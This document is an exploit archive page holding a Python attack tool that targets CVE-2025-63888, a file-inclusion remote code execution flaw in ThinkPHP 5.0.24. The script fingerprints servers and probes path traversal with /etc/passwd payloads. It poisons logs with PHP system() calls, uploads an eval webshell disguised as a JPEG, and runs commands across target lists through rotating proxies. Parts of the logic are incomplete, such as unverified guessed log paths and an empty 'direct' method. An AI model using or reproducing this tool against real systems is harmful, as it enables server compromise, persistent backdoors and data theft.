4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve_2025_63888_exploit.py PY
#!/usr/bin/env python3
"""
UkNF - CVE-2025-63888 ThinkPHP 5.0.24 File Inclusion RCE Exploit
Unified Knowledge Network Framework - ThinkPHP Exploitation Module

CVE-2025-63888: Remote Code Execution via file inclusion in ThinkPHP 5.0.24
Vulnerable Component: thinkphp/library/think/template/driver/File.php

Author: Security Research Team
Date: January 2025
License: For authorized penetration testing only
"""

import sys
import argparse
import logging
import signal
import time
import threading
from pathlib import Path
from typing import List, Dict, Optional, Tuple
from concurrent.futures import ThreadPoolExecutor, as_completed
import json
from datetime import datetime
import requests
from urllib.parse import urljoin, urlparse
import base64
import re
import random
import string

# Setup logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S'
)
logger = logging.getLogger(__name__)

# Global shutdown flag
shutdown_flag = threading.Event()


class ThinkPHPRecon:
    """Reconnaissance module for ThinkPHP applications"""
    
    def __init__(self, target_url: str, session: requests.Session = None, proxies: Dict = None):
        self.target_url = target_url.rstrip('/')
        self.session = session or requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        if proxies:
            self.session.proxies.update(proxies)
        self.thinkphp_version = None
        self.vulnerable = False
        
    def detect_thinkphp(self) -> bool:
        """Detect if target is running ThinkPHP"""
        try:
            # Check common ThinkPHP indicators
            indicators = [
                '/index.php',
                '/public/index.php',
                '/thinkphp',
            ]
            
            for indicator in indicators:
                try:
                    url = urljoin(self.target_url, indicator)
                    response = self.session.get(url, timeout=10, allow_redirects=True)
                    
                    # Check for ThinkPHP headers
                    if 'thinkphp' in response.headers.get('X-Powered-By', '').lower():
                        logger.info(f"ThinkPHP detected via header: {response.headers.get('X-Powered-By')}")
                        return True
                    
                    # Check response content
                    if 'thinkphp' in response.text.lower() or 'think' in response.text.lower():
                        logger.info("ThinkPHP detected via content analysis")
                        return True
                        
                except requests.RequestException as e:
                    logger.debug(f"Error checking {indicator}: {e}")
                    continue
                    
            return False
            
        except Exception as e:
            logger.error(f"Error detecting ThinkPHP: {e}")
            return False
    
    def detect_version(self) -> Optional[str]:
        """Attempt to detect ThinkPHP version"""
        try:
            # Method 1: Check error pages
            test_urls = [
                '/index.php/index/index/think',
                '/index.php?s=/index/index/think',
                '/?s=/index/index/think',
            ]
            
            for url_path in test_urls:
                try:
                    url = urljoin(self.target_url, url_path)
                    response = self.session.get(url, timeout=10)
                    
                    # Look for version in error messages
                    version_pattern = r'thinkphp[\/\s]+([0-9]+\.[0-9]+\.[0-9]+)'
                    match = re.search(version_pattern, response.text, re.IGNORECASE)
                    if match:
                        version = match.group(1)
                        logger.info(f"Detected ThinkPHP version: {version}")
                        self.thinkphp_version = version
                        return version
                        
                except requests.RequestException:
                    continue
            
            # Method 2: Check common files
            version_files = [
                '/thinkphp/VERSION',
                '/thinkphp/version.txt',
            ]
            
            for file_path in version_files:
                try:
                    url = urljoin(self.target_url, file_path)
                    response = self.session.get(url, timeout=10)
                    if response.status_code == 200:
                        version = response.text.strip()
                        logger.info(f"Detected ThinkPHP version from file: {version}")
                        self.thinkphp_version = version
                        return version
                except requests.RequestException:
                    continue
                    
            return None
            
        except Exception as e:
            logger.error(f"Error detecting version: {e}")
            return None
    
    def check_vulnerability(self) -> bool:
        """Check if target is vulnerable to CVE-2025-63888"""
        if not self.thinkphp_version:
            self.detect_version()
        
        # Check if version is 5.0.24
        if self.thinkphp_version and '5.0.24' in self.thinkphp_version:
            logger.info("Target appears to be vulnerable (ThinkPHP 5.0.24)")
            self.vulnerable = True
            return True
        
        # Test for file inclusion vulnerability
        return self._test_file_inclusion()
    
    def _test_file_inclusion(self) -> bool:
        """Test for file inclusion vulnerability"""
        try:
            # Test with a safe file that should exist on most systems
            test_payloads = [
                "../../../etc/passwd",
                "../../../windows/win.ini",
                "../../../etc/hosts",
            ]
            
            # Try different endpoints
            endpoints = [
                "/index.php/index/index/view",
                "/index.php?s=/index/index/view",
                "/?s=/index/index/view",
                "/index/view",
            ]
            
            for endpoint in endpoints:
                for payload in test_payloads:
                    try:
                        url = urljoin(self.target_url, endpoint)
                        data = {"template": payload}
                        
                        response = self.session.post(
                            url,
                            data=data,
                            timeout=10,
                            allow_redirects=False
                        )
                        
                        # Check for file inclusion indicators
                        if response.status_code == 200:
                            content = response.text
                            # Check for common file content patterns
                            if any(indicator in content for indicator in [
                                "root:x:0:0",  # /etc/passwd
                                "[fonts]",     # win.ini
                                "127.0.0.1",   # hosts file
                            ]):
                                logger.warning(f"File inclusion confirmed! Endpoint: {endpoint}, Payload: {payload}")
                                self.vulnerable = True
                                return True
                                
                    except requests.RequestException as e:
                        logger.debug(f"Error testing {endpoint} with {payload}: {e}")
                        continue
            
            return False
            
        except Exception as e:
            logger.error(f"Error testing file inclusion: {e}")
            return False


class CVE202563888Exploit:
    """Exploitation module for CVE-2025-63888"""
    
    def __init__(self, target_url: str, session: requests.Session = None, proxies: Dict = None):
        self.target_url = target_url.rstrip('/')
        self.session = session or requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        if proxies:
            self.session.proxies.update(proxies)
        self.recon = ThinkPHPRecon(target_url, self.session, proxies)
        self.vulnerable_endpoint = None
        self.webshell_path = None
        
    def find_vulnerable_endpoint(self) -> Optional[str]:
        """Find the vulnerable endpoint"""
        endpoints = [
            "/index.php/index/index/view",
            "/index.php?s=/index/index/view",
            "/?s=/index/index/view",
            "/index/view",
            "/index.php/home/index/view",
            "/index.php/admin/index/view",
        ]
        
        test_payload = "../../../etc/passwd"
        
        for endpoint in endpoints:
            try:
                url = urljoin(self.target_url, endpoint)
                data = {"template": test_payload}
                
                response = self.session.post(
                    url,
                    data=data,
                    timeout=10,
                    allow_redirects=False
                )
                
                if response.status_code == 200 and "root:x:0:0" in response.text:
                    logger.info(f"Found vulnerable endpoint: {endpoint}")
                    self.vulnerable_endpoint = endpoint
                    return endpoint
                    
            except requests.RequestException as e:
                logger.debug(f"Error testing endpoint {endpoint}: {e}")
                continue
        
        return None
    
    def poison_log_file(self, php_code: str) -> Optional[str]:
        """Attempt to poison log files with PHP code"""
        try:
            # Generate a unique identifier for this session
            session_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
            
            # Try to trigger log entry with PHP code
            log_triggers = [
                f"/index.php?{php_code}",
                f"/index.php?s=/index/index/index&{php_code}",
            ]
            
            for trigger in log_triggers:
                try:
                    url = urljoin(self.target_url, trigger)
                    self.session.get(url, timeout=10)
                except requests.RequestException:
                    continue
            
            # Try to find log file path
            log_paths = [
                f"../../../runtime/log/{datetime.now().strftime('%Y/%m/%d')}.log",
                f"../../../runtime/log/{datetime.now().strftime('%Y%m%d')}.log",
                "../../../runtime/log/error.log",
                "../../../runtime/log/access.log",
            ]
            
            return log_paths[0]  # Return most likely path
            
        except Exception as e:
            logger.error(f"Error poisoning log file: {e}")
            return None
    
    def upload_webshell(self) -> Optional[str]:
        """Attempt to upload a webshell via file upload functionality"""
        try:
            # Generate webshell content
            webshell_name = f"shell_{''.join(random.choices(string.ascii_lowercase + string.digits, k=8))}.php"
            webshell_content = "<?php @eval($_POST['cmd']); ?>"
            
            # Try common upload endpoints
            upload_endpoints = [
                "/index.php/index/index/upload",
                "/index.php/admin/upload",
                "/upload.php",
            ]
            
            for endpoint in upload_endpoints:
                try:
                    url = urljoin(self.target_url, endpoint)
                    files = {
                        'file': (webshell_name, webshell_content, 'image/jpeg')
                    }
                    
                    response = self.session.post(url, files=files, timeout=10)
                    
                    if response.status_code == 200:
                        # Try to find uploaded file
                        upload_paths = [
                            f"../../../public/uploads/{webshell_name}",
                            f"../../../uploads/{webshell_name}",
                            f"../../../runtime/temp/{webshell_name}",
                        ]
                        
                        return upload_paths[0]
                        
                except requests.RequestException:
                    continue
            
            return None
            
        except Exception as e:
            logger.error(f"Error uploading webshell: {e}")
            return None
    
    def create_webshell_via_inclusion(self, shell_path: str = None) -> bool:
        """Create a webshell by including a writable file"""
        try:
            if not self.vulnerable_endpoint:
                if not self.find_vulnerable_endpoint():
                    logger.error("No vulnerable endpoint found")
                    return False
            
            # Try to write to session file or other writable locations
            webshell_content = "<?php @eval($_POST['cmd']); ?>"
            
            # Method 1: Try to include session file and write to it
            session_paths = [
                "../../../runtime/session/sess_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=26)),
            ]
            
            # Method 2: Use log file poisoning
            log_path = self.poison_log_file(webshell_content)
            
            if log_path:
                self.webshell_path = log_path
                logger.info(f"Webshell path: {log_path}")
                return True
            
            return False
            
        except Exception as e:
            logger.error(f"Error creating webshell: {e}")
            return False
    
    def execute_command(self, command: str, method: str = "log") -> Optional[str]:
        """Execute a command via file inclusion RCE"""
        try:
            if not self.vulnerable_endpoint:
                if not self.find_vulnerable_endpoint():
                    return None
            
            url = urljoin(self.target_url, self.vulnerable_endpoint)
            
            if method == "log":
                # Use log file poisoning method
                php_code = f"<?php system('{command}'); ?>"
                log_path = self.poison_log_file(php_code)
                
                if log_path:
                    data = {"template": log_path}
                    response = self.session.post(url, data=data, timeout=10)
                    return response.text
                    
            elif method == "direct":
                # Direct PHP code execution (if we can include arbitrary files)
                # This would require a file we control with PHP code
                pass
            
            return None
            
        except Exception as e:
            logger.error(f"Error executing command: {e}")
            return None
    
    def exploit(self, command: str = "id") -> Dict:
        """Main exploitation method"""
        results = {
            'target': self.target_url,
            'timestamp': datetime.now().isoformat(),
            'vulnerable': False,
            'endpoint_found': False,
            'exploitation_successful': False,
            'command_executed': command,
            'output': None,
            'webshell_created': False,
            'webshell_path': None,
        }
        
        try:
            # Step 1: Detect ThinkPHP
            logger.info("[1/4] Detecting ThinkPHP...")
            if not self.recon.detect_thinkphp():
                logger.warning("ThinkPHP not detected")
                return results
            
            # Step 2: Check vulnerability
            logger.info("[2/4] Checking vulnerability...")
            if not self.recon.check_vulnerability():
                logger.warning("Target does not appear to be vulnerable")
                return results
            
            results['vulnerable'] = True
            
            # Step 3: Find vulnerable endpoint
            logger.info("[3/4] Finding vulnerable endpoint...")
            endpoint = self.find_vulnerable_endpoint()
            if not endpoint:
                logger.warning("Could not find vulnerable endpoint")
                return results
            
            results['endpoint_found'] = True
            results['vulnerable_endpoint'] = endpoint
            
            # Step 4: Exploit
            logger.info("[4/4] Exploiting vulnerability...")
            
            # Try to create webshell
            if self.create_webshell_via_inclusion():
                results['webshell_created'] = True
                results['webshell_path'] = self.webshell_path
            
            # Execute command
            output = self.execute_command(command)
            if output:
                results['exploitation_successful'] = True
                results['output'] = output
                logger.info(f"Command executed successfully: {command}")
                logger.info(f"Output: {output[:500]}")  # First 500 chars
            
            return results
            
        except Exception as e:
            logger.error(f"Exploitation error: {e}")
            results['error'] = str(e)
            return results


class UkNFExploitFramework:
    """Main framework class"""
    
    def __init__(self, target_url: str, threads: int = 1, proxies: Dict = None):
        self.target_url = target_url
        self.threads = threads
        self.proxies = proxies
        self.results = []
        
    def run(self) -> Dict:
        """Run the exploitation framework"""
        logger.info(f"Starting UkNF exploitation for {self.target_url}")
        
        exploit = CVE202563888Exploit(self.target_url, proxies=self.proxies)
        result = exploit.exploit()
        
        self.results.append(result)
        return result
    
    def save_results(self, output_file: str):
        """Save results to file"""
        output_path = Path(output_file)
        output_path.parent.mkdir(parents=True, exist_ok=True)
        
        with open(output_path, 'w', encoding='utf-8') as f:
            json.dump(self.results, f, indent=2, ensure_ascii=False)
        
        logger.info(f"Results saved to {output_path}")


def signal_handler(signum, frame):
    """Handle graceful shutdown"""
    logger.warning("Shutdown signal received, finishing current tasks...")
    shutdown_flag.set()


def main():
    """Main entry point"""
    parser = argparse.ArgumentParser(
        description='UkNF - CVE-2025-63888 ThinkPHP 5.0.24 File Inclusion RCE Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s -u http://target.com
  %(prog)s -u http://target.com -c "whoami"
  %(prog)s -u http://target.com -t 5 -o results.json
  %(prog)s -f targets.txt -o results/
        """
    )
    
    parser.add_argument('-u', '--url', type=str, help='Target URL')
    parser.add_argument('-f', '--file', type=str, help='File containing target URLs (one per line)')
    parser.add_argument('-c', '--command', type=str, default='id', help='Command to execute (default: id)')
    parser.add_argument('-t', '--threads', type=int, default=1, help='Number of threads (default: 1)')
    parser.add_argument('-o', '--output', type=str, default='uknf_results.json', help='Output file (default: uknf_results.json)')
    parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose logging')
    parser.add_argument('--proxy', type=str, help='Proxy URL (e.g., http://127.0.0.1:8080)')
    parser.add_argument('--proxy-list', type=str, help='File containing proxy URLs (one per line)')
    
    args = parser.parse_args()
    
    if args.verbose:
        logging.getLogger().setLevel(logging.DEBUG)
    
    # Setup signal handlers
    signal.signal(signal.SIGINT, signal_handler)
    signal.signal(signal.SIGTERM, signal_handler)
    
    # Validate arguments
    if not args.url and not args.file:
        parser.error("Either -u/--url or -f/--file must be provided")
    
    # Setup proxies
    proxies = None
    proxy_list = []
    
    if args.proxy:
        proxy_list = [args.proxy]
    elif args.proxy_list:
        with open(args.proxy_list, 'r') as f:
            proxy_list = [line.strip() for line in f if line.strip()]
    
    # Process targets
    targets = []
    if args.url:
        targets.append(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            targets = [line.strip() for line in f if line.strip()]
    
    if not targets:
        logger.error("No targets specified")
        return 1
    
    logger.info(f"Processing {len(targets)} target(s)")
    if proxy_list:
        logger.info(f"Using {len(proxy_list)} proxy/proxies")
    
    # Process targets
    all_results = []
    for i, target in enumerate(targets):
        if shutdown_flag.is_set():
            break
        
        try:
            # Rotate proxies if available
            current_proxies = None
            if proxy_list:
                proxy_url = proxy_list[i % len(proxy_list)]
                current_proxies = {
                    'http': proxy_url,
                    'https': proxy_url
                }
                logger.info(f"Using proxy for {target}: {proxy_url.split('@')[-1] if '@' in proxy_url else proxy_url}")
            
            framework = UkNFExploitFramework(target, threads=args.threads, proxies=current_proxies)
            result = framework.run()
            all_results.append(result)
            
        except Exception as e:
            logger.error(f"Error processing {target}: {e}")
            continue
    
    # Save results
    if all_results:
        output_path = Path(args.output)
        output_path.parent.mkdir(parents=True, exist_ok=True)
        
        with open(output_path, 'w', encoding='utf-8') as f:
            json.dump(all_results, f, indent=2, ensure_ascii=False)
        
        logger.info(f"Results saved to {output_path}")
        
        # Print summary
        vulnerable = sum(1 for r in all_results if r.get('vulnerable'))
        exploited = sum(1 for r in all_results if r.get('exploitation_successful'))
        
        logger.info(f"\nSummary:")
        logger.info(f"  Targets processed: {len(all_results)}")
        logger.info(f"  Vulnerable: {vulnerable}")
        logger.info(f"  Successfully exploited: {exploited}")
    
    return 0


if __name__ == '__main__':
    sys.exit(main())